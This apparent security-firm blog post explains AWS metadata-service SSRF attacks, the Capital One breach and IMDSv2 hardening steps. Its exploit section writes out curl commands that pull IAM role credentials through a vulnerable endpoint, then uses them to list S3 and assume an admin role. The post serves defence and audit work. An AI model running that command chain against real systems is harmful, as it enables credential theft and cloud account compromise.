AWS IMDS Attacks: SSRF to Role Credentials to Full Account Compromise
The Capital One breach ($190M settlement) exploited a textbook IMDSv1 SSRF attack to exfiltrate 106 million customer records. A deep dive into AWS Instance Metadata Service security, IMDSv1 vs v2, SSRF exploitation, enforcement SCPs, and the cloud penetration testing runbook we use on Valtik engagements.
The AWS vulnerability that built a career for every cloud pentester
Server-Side Request Forgery against the AWS Instance Metadata Service (IMDS) is the single most common, most exploitable, and most catastrophic finding in cloud penetration testing engagements. It is so common that it has a Wikipedia page, a federal indictment, and a hundred million-dollar breach attached to it.
This is the deep dive. What IMDS is, how IMDSv1 SSRF attacks work step by step, how IMDSv2 is supposed to protect, where IMDSv2 still fails, and how to actually enforce the upgrade across an AWS org.
What IMDS is
Every EC2 instance runs a local HTTP service at 169.254.169.254 that exposes instance metadata — the IAM role, region, AMI ID, user-data script, security groups, tags. The address is link-local, meaning only the instance can reach it (and theoretically only processes running on it).
The service is useful. Applications running on EC2 retrieve their IAM role credentials from it to call other AWS APIs. This pattern is everywhere in cloud-native applications.
What IMDS exposes.
/latest/meta-data/instance-id/latest/meta-data/iam/security-credentials/{role-name}← the IAM credentials/latest/meta-data/ami-id/latest/meta-data/security-groups/latest/user-data← often contains secrets, bootstrap scripts, configuration/latest/dynamic/instance-identity/document
The IAM credentials endpoint is the critical one. It returns short-lived AWS credentials (AccessKeyId, SecretAccessKey, Token) that are scoped to the IAM role attached to the instance. Anyone who can reach this endpoint becomes that IAM role.
The IMDSv1 SSRF attack
IMDSv1 requires no authentication. Any HTTP client on the instance can retrieve the credentials.
The attack pattern: find a server-side request forgery vulnerability in the application running on EC2. Use it to fetch http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}. The response contains IAM credentials. Exfiltrate. Use the credentials to query S3, enumerate RDS, assume-role to other accounts, and exfiltrate data.
The canonical exploit pattern:
# Step 1: find an SSRF vuln in the app
# Common sources:
# - image processing (URL fetch to thumbnail, OCR, watermark)
# - webhook handlers that fetch user-provided URLs
# - PDF generators that render from URL
# - URL shorteners
# - RSS readers, OpenGraph image fetch
# Step 2: retrieve IAM role name
curl http://target-app/vulnerable-endpoint?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 3: retrieve credentials for that role
curl http://target-app/vulnerable-endpoint?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role-name
# Response contains:
{
"Code": "Success",
"LastUpdated": "2026-04-16T12:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-04-16T18:00:00Z"
}
# Step 4: use credentials
AWS_ACCESS_KEY_ID=... \
AWS_SECRET_ACCESS_KEY=... \
AWS_SESSION_TOKEN=... \
aws s3 ls
# Step 5: escalate
aws iam list-attached-role-policies --role-name app-role-name
aws sts assume-role --role-arn arn:aws:iam::...:role/AdminRole --role-session-name pwn
Capital One, 2019: the $190 million example
July 2019. Former AWS employee Paige Thompson (alias "erratic") exploited an SSRF vulnerability in a Capital One web application firewall to reach IMDSv1. She retrieved IAM credentials for the WAF's role, which had overly permissive S3 access. She exfiltrated customer data from 100 million US and 6 million Canadian Capital One accounts — names, addresses, credit scores, Social Security numbers, bank account numbers.
Capital One paid:
- $80 million OCC fine
- $190 million class-action settlement
- Unspecified regulatory fines
Paige Thompson was convicted in 2022.
The technical root cause was exactly the pattern above. An SSRF bug in the Apache mod_security WAF reached IMDSv1, retrieved credentials, and allowed S3 bucket exfiltration.
The larger lesson: the WAF had overly permissive IAM policies, not the application. When an attacker got the WAF's role, they got enough access to read every S3 bucket in the account. Every cloud security audit should check for over-privileged infrastructure roles, not just application roles.
IMDSv2: session-based protection
Announced late 2019, enforceable since 2023. IMDSv2 adds a session token requirement.
Flow:
- Client sends a PUT to
/latest/api/tokenwith a TTL header. Receives a session token. - Client sends subsequent metadata requests with the token in
X-aws-ec2-metadata-tokenheader.
Why this defeats SSRF. Most SSRF vulnerabilities are GET-only. They can fetch URLs but cannot send PUT with custom headers. The session token acquisition requires the first PUT, which most SSRF classes cannot issue. Even if the attacker can trigger a GET to the token endpoint, they can't capture the response to use in the following request.
The TTL hop-count mechanism. IMDSv2 enforces a response TTL. Each IP hop decrements the TTL. When the TTL reaches zero, the response is dropped. Most SSRF attacks route responses through an application proxy, which decrements the TTL. By the time the attacker receives it, the response is gone.
The protocol restriction. IMDSv2 refuses to serve if the client uses HTTP/0.9, and also refuses certain bizarre header configurations that proxies sometimes generate.
IMDSv2 does not protect against:
- Full RCE on the instance (attacker runs shell commands directly, issues the PUT themselves)
- Attacks via the application's own code that makes signed requests (the application's SDK clients adapt to IMDSv2)
- Certain specific SSRF classes that can send PUT and capture response (rare)
- Misconfigured instances where IMDSv2 is allowed but IMDSv1 is also still allowed (optional mode)
The "optional" vs "required" gap
IMDSv2 has three modes:
- Optional (default for instances launched before enforcement). IMDSv1 and v2 both work. SSRF attacks still work via IMDSv1.
- Required. Only v2 works. v1 is refused. This is the secure setting.
- Disabled. Neither version is reachable. Only acceptable if your application does not use IAM roles.
As of April 2026, AWS estimates 25-35% of all running EC2 instances in customer accounts are still on "optional" mode. Every one of those instances is still vulnerable to IMDSv1 SSRF.
New instances launched in the last year. AWS updated the default to "required" for newly launched EC2 instances. But the account still has to have made the global setting change, or every new instance has to explicitly specify required mode. The global setting is per-region per-account and is NOT on by default.
The check-and-enforce runbook
For any AWS penetration testing or cloud security audit, the IMDS check comes down to:
1. Enumerate every EC2 instance and its IMDS mode.
aws ec2 describe-instances \
--query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens,MetadataOptions.HttpEndpoint]' \
--output table
HttpTokens = "required" means IMDSv2-only. "optional" means IMDSv1 still works.
2. Enable IMDSv2 required across the account.
aws ec2 modify-instance-metadata-defaults \
--http-tokens required \
--http-put-response-hop-limit 1 \
--http-endpoint enabled
This sets the account-region default. Any future instance without explicit metadata settings gets v2 required.
3. Force existing instances to v2 required.
# Per-instance
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxxx \
--http-tokens required \
--http-put-response-hop-limit 1 \
--http-endpoint enabled
4. Prevent regressions via SCP.
Apply an Organizations SCP that denies RunInstances and ModifyInstanceMetadataOptions when HttpTokens is not "required":
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": [
"ec2:RunInstances",
"ec2:ModifyInstanceMetadataOptions"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"ec2:MetadataHttpTokens": "required"
}
}
}
]
}
5. Set hop-limit to 1.
--http-put-response-hop-limit 1
This means the response can only travel one network hop. Container-based applications running in Docker on EC2 have this as a common exposure — by default a container can reach IMDS but with the default hop limit of 1, it may fail depending on networking mode. Setting hop-limit to 1 explicitly ensures containers cannot reach IMDS unless they use host networking.
Related gotchas
ECS tasks and Fargate. Have their own metadata service at 169.254.170.2/v2/credentials. Different endpoint, same class of attacks. Same restriction patterns apply via ECS-level task-role metadata configuration.
EKS / Kubernetes IRSA. Workloads on EKS can use IAM Roles for Service Accounts. Each pod gets its own role via OIDC federation. The pod can still reach IMDS unless the hop limit is set correctly. Best practice — set IMDSv2 required, hop limit 1, and use IRSA.
Spot instances and auto-scaling. Launch templates have their own metadata options. Make sure the template specifies required mode.
Cloud-init user-data. Stored in IMDS at /latest/user-data. Often contains initial secrets, bootstrap scripts, and cloudformation template references. Treat user-data as sensitive. Remove secrets from user-data, use Systems Manager Parameter Store with IAM policy instead.
What this means for Valtik audits
Every AWS cloud security audit we run includes the IMDS check as one of the first probes. The results are almost always:
- 20-40% of instances still on IMDSv1 optional mode
- Overly permissive instance profile IAM roles
- User-data containing secrets
- No SCP enforcement
Each of those is a path to the next Capital One. If your AWS environment hasn't been audited against the IMDS and IAM role privilege boundary checks above, book a Valtik cloud security audit.
Sources
- [AWS IMDSv2 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)
- [Capital One Breach Technical Analysis](https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/)
- [Capital One OCC Fine Announcement](https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html)
- [United States v. Paige Thompson Conviction](https://www.justice.gov/usao-wdwa/pr/former-amazon-web-services-software-engineer-convicted-hacking-capital-one)
- [AWS Security Best Practices for EC2](https://aws.amazon.com/blogs/security/get-the-full-benefits-of-imdsv2-and-disable-imdsv1-across-your-aws-infrastructure/)
- [Service Control Policy Examples](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples_ec2.html)
- [IRSA for EKS](https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html)
Want us to check your AWS setup?
Our scanner detects this exact misconfiguration. plus dozens more across 38 platforms. Free website check available, no commitment required.
